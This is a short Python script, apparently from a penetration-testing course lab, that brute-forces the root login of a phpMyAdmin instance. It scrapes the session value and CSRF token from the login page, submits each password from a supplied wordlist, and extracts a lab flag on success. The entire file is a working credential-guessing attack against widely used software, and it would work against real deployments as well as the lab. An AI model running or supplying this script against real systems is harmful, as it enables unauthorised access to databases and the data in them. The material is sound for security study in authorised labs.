9.5.2_exploiting_phpmyadmin.py

import sys
from requests import get, post

def csrf_parse(res):
        set_session = res.split("set_session\" value=\"")[1].split("\" />Log in")[0]
        csrf_token = res.split("token\" value=\"")[1].split("\">")[0]
        return set_session, csrf_token

def exploit_phpmyadmin(target,password_list):
        if target.endswith("/"):
                print("[!] target improperly formatted. Example: http://example.com")
                quit()
        target = f"{target}/index.php"

        with open(password_list) as f:
                password_list = f.readlines()

        print(f"[+] Attempting to attack phpmyadmin using password: ")
        for password in password_list:
                print(f"{password.strip()}")
                res = get(target)
                set_session, csrf_token = csrf_parse(res.text)
                headers = {
                        "Content-Type": "application/x-www-form-urlencoded",
                        "Upgrade-Insecure-Requests": "1"
                }
                cookies = {
                        "phpMyAdmin": set_session
                }
                data = {
                        "set_session": set_session,
                        "pma_username": "root",
                        "pma_password": password.strip(),
                        "server": "1",
                        "target": "index.php",
                        "lang": "en",
                        "debug": "0",
                        "token": csrf_token
                }
                res = post(target,headers=headers,data=data, cookies=cookies)
                if "OS{" in res.text:
                        return res.text.split("flag is: ")[1].split("</p>")[0]

if __name__ == "__main__":
        target = sys.argv[1]
        password_list = sys.argv[2]
        print(exploit_phpmyadmin(target,password_list))